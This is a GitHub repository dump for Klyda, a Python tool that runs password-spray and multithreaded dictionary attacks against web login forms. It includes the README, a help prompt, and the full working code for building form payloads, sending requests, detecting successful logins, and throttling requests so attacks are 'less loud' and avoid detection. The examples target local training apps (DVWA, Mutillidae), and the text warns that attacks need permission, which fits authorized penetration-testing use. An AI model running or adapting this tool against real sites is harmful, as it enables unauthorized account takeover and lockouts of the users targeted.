├── LICENSE
├── README.md
├── contributers.txt
├── img
├── example.png
└── fronticon.png
├── klyda.py
└── klyda
├── bruter.py
├── color.py
├── etc.py
├── main.py
├── networking.py
└── parsing.py
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 Xeonrx
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | The Klyda project has been created to aid in quick credential based attacks against online web applications.
6 | Klyda supports the use from simple password sprays, to large multithreaded dictionary attacks.
7 |
8 | Klyda is a new project, and I am looking for any contributions. Any help is very appreciated.
9 | Klyda offers simple, easy to remember usage; however, still offers configurability for your needs:
10 | - Mulithreaded tasks
11 | - Combine wordlists for larger scale attacks
12 | - Blacklisting data to narrow down results
13 | - Limit thread speed for sneaky purposes
14 |
15 |
16 |
17 |
18 |
19 | # Installation & Usage
20 | **1)** Clone the Git repo to your machine, `git clone https://github.com/Xeonrx/Klyda`
21 | **2)** Cd into the Klyda directory, `cd Klyda`
22 | **3)** Install the neccessary modules via Pip, `pip install requests beautifulsoup4 colorama numpy`
23 | **4)** Display the Klyda help prompt for usage, `python3 klyda.py -h`
24 |
25 | >Klyda has been mainly designed for Linux, but should work on any machine capable of running Python.
26 |
27 | What Klyda needs to work are only four simple dependencies: URL to attack, username(s), password(s), and formdata.
28 | ## The URL
29 | You can parse the URL via the ``--url`` tag. It should look something like this, `--url http://127.0.0.1`
30 | Remember to **never** launch an attack on a webpage, that you don't have proper permission to do so.
31 | ## Usernames
32 | Usernames are the main target to these dictionary attacks. It could be a whole range of usernames, a few in specific, or perhaps just one.
33 | That's all your decision when using the script. You can specify usernames in a few ways...
34 |
35 | **1)** Specify them manually, `-u Admin User123 Guest`
36 | **2)** Give a file to use, or a few to combine, `-U users.txt extra.txt`
37 | **3)** Give both a file & manual entry, `-U users.txt -u Johnson924`
38 | ## Passwords
39 | Passwords are the hard part to these attacks. You don't know them, hence why dictionary & brute force attacks exists. Like the usernames, you can
40 | give from just one password, up to however many you want. You can specify passwords in a few ways...
41 |
42 | **1)** Specify them manually, `-p password 1234 letmein`
43 | **2)** Give a file to use, or a few to combine, `-P passwords.txt extra.txt`
44 | **3)** Give both a file & manual entry, `-P passwords.txt -p redklyda24`
45 | ## FormData
46 | FormData is how you form the request, so the target website can take it in, and process the given information. Usually you would need to specify a: username value, a password value, and sometimes an extra value. You can see the FormData your target uses by reviewing the network tab, of your browsers inspect element. For Klyda, you use the `-d` tag.
47 |
48 | You need to use placeholders to Klyda knows where to inject in the username & password, when fowarding out its requests. It may look something like this...
49 | `-d username:xuser password:xpass Login:Login`
50 |
51 | `xuser` is the placeholder to inject the usernames, & `xpass` is the placeholder to inject the passwords. Make sure you know these, or Klyda won't be able to work.
52 |
53 | Format the FormData as `(key):(value)`
54 |
55 | ## Blacklists
56 | In order to Klyda to know if it hit a successful strike or not, you need to give it data to dig through. Klyda takes use of given blacklists from failed login attempts, so it can tell the difference between a failed or complete request. You can blacklist three different types of data...
57 |
58 | **1)** Strings, `--bstr "Login failed"`
59 | **2)** Status Codes, `--bcde 404`
60 | **3)** Content Length, `--blen 11`
61 |
62 | You can specify as much data for each blacklist as needed. If any of the given data is not found from the response, Klyda gives it a "strike", saying
63 | it was a successful login attempt. Otherwise if data in the blacklists is found, Klyda marks it as an unsuccessful login attempt.
64 | Since you give the data for Klyda to evaluate, false positives are non-apparent.
65 |
66 | >If you don't give any data to blacklist, then every request will be marked as a strike from Klyda!
67 |
68 | ## Rate limiting & Threads
69 | By default, Klyda only uses a single thread to run; but, you can specify more, using the `-t` tag. This can be helpful for speeding up your work.
70 |
71 | However, credential attacks can be **very** loud on a network; hence, are detected easily. A targeted account could simply just receieve a simple lock due to too many
72 | login attempts. This creates a DoS attack, but prevents you from gaining the users's credentials, which is the goal of Klyda.
73 |
74 | So to make these attacks a little less loud, you can take use of the `--rate` tag. This allows you to limit your threads to a certain number of requests per minute.
75 | It will be formatted like this, `--rate (# of requests) (minutes)`
76 |
77 | For example, `--rate 5 1` will only send out 5 requests for each minute. Remember, this is for each thread. If you had 2 threads, this would send 10 requests per minute.
78 |
79 | ## Example
80 | Test Klyda out on the Damn Vulnerable Web App (DVWA), or Mutillidae.
81 |
82 | `python3 klyda.py --url http://127.0.0.1/dvwa/login.php -u user guest admin -p 1234 password admin -d username:xuser password:xpass Login:Login --bstr "Login failed"`
83 |
84 | `python3 klyda.py --url http://127.0.0.1/mutillidae/index.php?page=login.php -u root -P passwords.txt -d username:xuser password:xpass login-php-submit-button:Login --bstr "Authentication Error"`
85 |
86 | ## The Future
87 | Like mentioned earlier, Klyda is still a work in progress. For the future, I plan on adding more functionality and reformating code for a cleaner look.
88 |
89 | My top piority is to add proxy functionality, and am currently working on it.
90 |
--------------------------------------------------------------------------------
/contributers.txt:
--------------------------------------------------------------------------------
1 | If your submitting a contribution to the Klyda project, drop your name here for some creditability :)
2 |
3 | Xeonrx
4 |
5 |
--------------------------------------------------------------------------------
/img/example.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hcbaker/Klyda/1f283f3a2bad79762491427e47c71f1db76daafd/img/example.png
--------------------------------------------------------------------------------
/img/fronticon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hcbaker/Klyda/1f283f3a2bad79762491427e47c71f1db76daafd/img/fronticon.png
--------------------------------------------------------------------------------
/klyda.py:
--------------------------------------------------------------------------------
1 | import sys, os
2 |
3 | if __name__ == "__main__":
4 | sys.path.append(f'{os.path.abspath(os.getcwd())}/klyda');import main
5 | main.Klyda()
6 |
7 | # Version v1.0.1, leaded by Xeonrx
8 |
--------------------------------------------------------------------------------
/klyda/bruter.py:
--------------------------------------------------------------------------------
1 | import networking, time, copy, numpy, etc
2 | from color import *
3 | from parsing import args
4 |
5 | def splitlist(usernames,passwords): # splits larger list into chunks for each thread, and returns the larger list
6 | if len(usernames) >= len(passwords):
7 | usernames = numpy.array_split(usernames, args.threads);biggerlist = True
8 | else:
9 | passwords = numpy.array_split(passwords, args.threads);biggerlist = False
10 | return usernames, passwords, biggerlist
11 |
12 | def attacker(usernames,passwords,params): # cycles through given credentials to find successful strikes
13 | threshold = args.rate[0]
14 | for a in usernames:
15 | for b in passwords:
16 | if threshold == 0:
17 | time.sleep(args.rate[1]*60)
18 | threshold = args.rate[0]
19 | threshold -= 1
20 | strike = True
21 | payload = copy.deepcopy(params)
22 | for key, value in payload.items():
23 | if value == "xuser":
24 | payload[key] = a
25 | elif value == "xpass":
26 | payload[key] = b
27 | code, length, content = networking.sendreq(payload)
28 |
29 | output = "#" + str(etc.requests).rjust(7,"0") + " " + str(code).ljust(4," ") + str(length).ljust(3," ") + " " +f"{a}:{b}"
30 | if args.bstr:
31 | for i in args.bstr:
32 | if i in content.text:
33 | strike = False
34 | if args.bcde:
35 | if code in args.bcde:
36 | strike = False
37 | if args.blen:
38 | if length in args.blen:
39 | strike = False
40 | if strike == True:
41 | etc.strikes += 1
42 | output = f"[{G}+{X}] " + output
43 | etc.strikecombos.append(output)
44 | else:
45 | output = f"[{R}-{X}] " + output
46 | print("|" + output.ljust(args.border+9," ") + "|")
47 |
48 |
--------------------------------------------------------------------------------
/klyda/color.py:
--------------------------------------------------------------------------------
1 | from colorama import init, Fore
2 |
3 | init()
4 | R = Fore.RED
5 | G = Fore.GREEN
6 | X = Fore.RESET
--------------------------------------------------------------------------------
/klyda/etc.py:
--------------------------------------------------------------------------------
1 | import datetime
2 | from parsing import args
3 | from etc import *
4 |
5 | def summary(): # prints summary of attack once finished, or if stopped
6 | print(f"+-[{current()}:KLYDA STRIKES]".ljust(args.border,"-") + "+" + "\n" + "|".ljust(args.border," ") + "|")
7 | for i in strikecombos:
8 | print(("|" + i).ljust(args.border+10," ") + "|")
9 | print(f"+-[{current()}:STAT SUMMARY]".ljust(args.border,"-") + "+" + "\n" + "|".ljust(args.border," ") + "|")
10 | print(("|requests : " + str(requests)).ljust(args.border," ") + "|")
11 | print(("|strikes : " + str(strikes)).ljust(args.border," ") + "|")
12 | print(("|percent : " + str(strikes/requests*100) + "%").ljust(args.border," ") + "|")
13 | exit("+".ljust(args.border,"-") + "+")
14 |
15 | def current(): # fetches current time
16 | time = datetime.datetime.now()
17 | return time.strftime("%H:%M:%S")
18 |
19 | banner = """
20 |
21 | ( /(( (
22 | _ _ )\())\( )\ ) )
23 | | \_____/ | ((_)((_)\ ) (()/(( /(
24 | | |)_ ((_)(()/( ((_))(_)) )
25 | | X X || |/ / |)(_)) _| ((_)_ ( (()/ (
26 | | || ' <| | || / _` / _` |) (_)) ))
27 | |_________||_|\_\_|\_, \__,_\__,_| [v1.0.1]
28 | |__/ \n"""
29 | # ASCII art from http://www.patorjk.com/
30 |
31 | strikecombos = []
32 | requests = 0
33 | strikes = 0
34 |
--------------------------------------------------------------------------------
/klyda/main.py:
--------------------------------------------------------------------------------
1 | import bruter, etc, networking
2 | from parsing import args, helpme
3 | from threading import Thread
4 |
5 | def Klyda():
6 | if args.help:# if -h
7 | exit(print(helpme()))
8 | print(etc.banner)
9 |
10 | usernames, passwords, threads, formdata = [],[],[],{}
11 | if not args.url:
12 | exit("(ABORT) No target URL has been specified? Use -h for Klyda usage.\n")
13 | if not args.username and not args.usernamefile:
14 | exit("(ABORT) No usernames have been specified? Use -h for Klyda usage.\n")
15 | if not args.password and not args.passwordfile:
16 | exit("(ABORT) No passwords have been specified? Use -h for Klyda usage.\n")
17 | if not args.formdata:
18 | exit("(ABORT) No formdata has been specified? Use -h for Klyda usage.\n")
19 |
20 | for i in args.formdata:
21 | key, value = i.split(":");formdata[key] = value
22 |
23 | if args.username:
24 | for i in args.username:
25 | usernames.append(i)
26 | if args.usernamefile:
27 | for i in args.usernamefile:
28 | try:
29 | with open(i,"r", encoding = "ISO-8859-1") as f:
30 | for a in f.readlines():
31 | usernames.append(a.replace("\n",""))
32 | except:
33 | exit("(ABORT) Klyda couldn't locate file, " + i)
34 | if args.password:
35 | for i in args.password:
36 | passwords.append(i)
37 | if args.passwordfile:
38 | for i in args.passwordfile:
39 | try:
40 | with open(i,"r", encoding = "ISO-8859-1") as f:
41 | for a in f.readlines():
42 | passwords.append(a.replace("\n",""))
43 | except:
44 | exit("(ABORT) Klyda couldn't locate file, " + i)
45 |
46 | usernames, passwords, biggerlist = bruter.splitlist(usernames,passwords)
47 | if networking.validate() == False:
48 | exit("(ABORT) Couldn't reach the target URL? It may of gone offline...\n")
49 |
50 | print(f"+-[{etc.current()}:REQUEST LOG]".ljust(args.border,"-") + "+" + "\n" + "|".ljust(args.border," ") + "|")
51 | if biggerlist == True:
52 | try:
53 | for i in usernames:
54 | t = Thread(target=bruter.attacker, args=(i,passwords,formdata,))
55 | threads.append(t)
56 | t.start()
57 | for t in threads:
58 | t.join()
59 | except KeyboardInterrupt:
60 | etc.summary()
61 | else:
62 | try:
63 | for i in passwords:
64 | t = Thread(target=bruter.attacker, args=(usernames,i,formdata,))
65 | threads.append(t)
66 | t.start()
67 | for t in threads:
68 | t.join()
69 | except KeyboardInterrupt:
70 | etc.summary()
71 | etc.summary()
--------------------------------------------------------------------------------
/klyda/networking.py:
--------------------------------------------------------------------------------
1 | import requests, etc
2 | from parsing import args
3 | from bs4 import BeautifulSoup
4 |
5 | def validate(): # checks if targeted url is online
6 | try:
7 | r = requests.get(args.url, timeout=args.timeout)
8 | if r.status_code == 200:
9 | return True
10 | except:
11 | return False
12 |
13 | def sendreq(data): # sends request to target url
14 | r = requests.post(args.url, data=data, timeout=args.timeout)
15 | soup = BeautifulSoup(r.content , 'html.parser')
16 | etc.requests +=1
17 | return r.status_code, len(soup), soup
--------------------------------------------------------------------------------
/klyda/parsing.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | def options(): # avaible options/usage for Klyda
3 | parser = argparse.ArgumentParser(add_help=False)
4 | parser.add_argument("-h","--help",action="store_true",help="Display help and usage")
5 | parser.add_argument("--url",type=str,help="Target url")
6 | parser.add_argument("-d","--formdata",type=str,nargs="+",help="Formdata to foward requests. format as (key:value)")
7 | parser.add_argument("-u","--username",type=str,nargs="+",help="Targeted username(s)")
8 | parser.add_argument("-U","--usernamefile",type=str,nargs="+",help="Targeted file of usernames")
9 | parser.add_argument("-p","--password",type=str,nargs="+",help="Given password(s)")
10 | parser.add_argument("-P","--passwordfile",type=str,nargs="+",help="Given list of passwords")
11 | parser.add_argument("-t","--threads",type=int,default=1,help="Given amount of threads to spawn (deafult 1)")
12 | parser.add_argument("-b","--border",type=int,default=75,help="Adjust length of border (default 75 characters)")
13 |
14 | parser.add_argument("--bstr",type=str,nargs="+",default=[],help="Blacklist given strings from output")
15 | parser.add_argument("--bcde",type=int,nargs="+",default=[],help="Blacklist given request codes from output")
16 | parser.add_argument("--blen",type=int,nargs="+",default=[],help="Blacklist given content lengths from output")
17 |
18 | parser.add_argument("--rate",type=int,nargs=2,default=[100,0],help="Rate of requests per minute, format as (requests minutes)")
19 | parser.add_argument("-tm","--timeout",type=int,default=4,help="Seconds for request timeout (deafult 4s)")
20 |
21 | return parser.parse_args()
22 |
23 | def helpme(name=None): # klyda help prompt
24 | return """
25 | █▄ ▄█
26 | ████████████ Klyda : version 1.0.1
27 | ██ ████ ██ Author : https://github.com/Xeonrx
28 | ████████████ Source : https://github.com/Xeonrx/Klyda
29 | ████████████
30 | ████████████
31 | Klyda is a Python project designed to simplify
32 | the use of dictionary/spray attacks on web applications,
33 |
34 | Klyda is meant for security/testing purposes, and proper
35 | permission MUST be given before an attack. This script
36 | doesn't exist for the intention of malicious purpose, and
37 | no one is repsonsible for any legal precussions but yourself!
38 |
39 | > If any malfunctions/bugs are apparent, please submit an issue request here:
40 | (https://github.com/Xeonrx/Klyda/issues)
41 |
42 | > I encourge anyone to contibute to the Klyda project. Please do so here:
43 | (https://github.com/Xeonrx/Klyda/pulls)
44 |
45 | > Klyda is still a work in progress. Check GitHub for future updates & plans.
46 |
47 |
48 | [KLYDA USAGE]:
49 | -h / --help (Display help prompt for klyda usage)
50 |
51 | --url (Targeted URL for Klyda to attack) ex. --url http://127.0.0.1
52 | -d / --data (Needed data to send requests through. Format as key:value) ex. -d username:xuser password:xpass login:login
53 | -t / --threads (Number of processes used to run the attack, default is 1) ex. -t 2
54 | -b / --border (Adjust the border size of Klyda output, default is 77 characters) ex. -b 45
55 | -tm / --timeout (Adjust the seconds for a request timeout, default is 4 seconds) ex. -tm 2
56 |
57 | -u / --username (Username(s) to target in attack, can range from 1 to whatever) ex. -u admin guest user
58 | -U / --usernamefile (File of usernames to target in attack, can range from 1 to whatever. Can be combined with -u) ex. -U users.txt list.txt
59 | -p / --password (Passwords(s) to use in attack, can range from 1 to whatever) ex. -p password 1234 letmein
60 | -P / --passwordfile (File of passwords to use in attack, can range from 1 to whatever. Can be combined with -p) ex. -P common.txt pass.txt
61 |
62 | --rate (Control each thread by number of requests per given minutes, for quiet purporses) ex. --rate 10 1 (10 requets per 1 minute)
63 | --bstr (Block given strings from output, to narrow down results, can range from 1 to whatever) ex. --bstr "Login failed" "Try again"
64 | --bcde (Block given request codes from output, to narrow down results, can range from 1 to whatever) ex. --bcde 404 403
65 | --blen (Block given request lengths from output, to narrow down results, can range from 1 to whatever) ex. --blen 6 9
66 |
67 | [KLYDA EXAMPLES]: (examples are based off of the Damn Vulnerable Web App & Mutillidae, which are purpously designed vulnerable servers)
68 | python3 klyda.py --url http://127.0.0.1/dvwa/login.php -u user guest admin -p 1234 password admin -d username:xuser password:xpass Login:Login --bstr "Login failed"
69 | python3 klyda.py --url http://127.0.0.1/mutillidae/index.php?page=login.php -u root -P passwords.txt -d username:xuser password:xpass login-php-submit-button:Login --bstr "Authentication Error"
70 | """
71 |
72 | args = options()
73 |
--------------------------------------------------------------------------------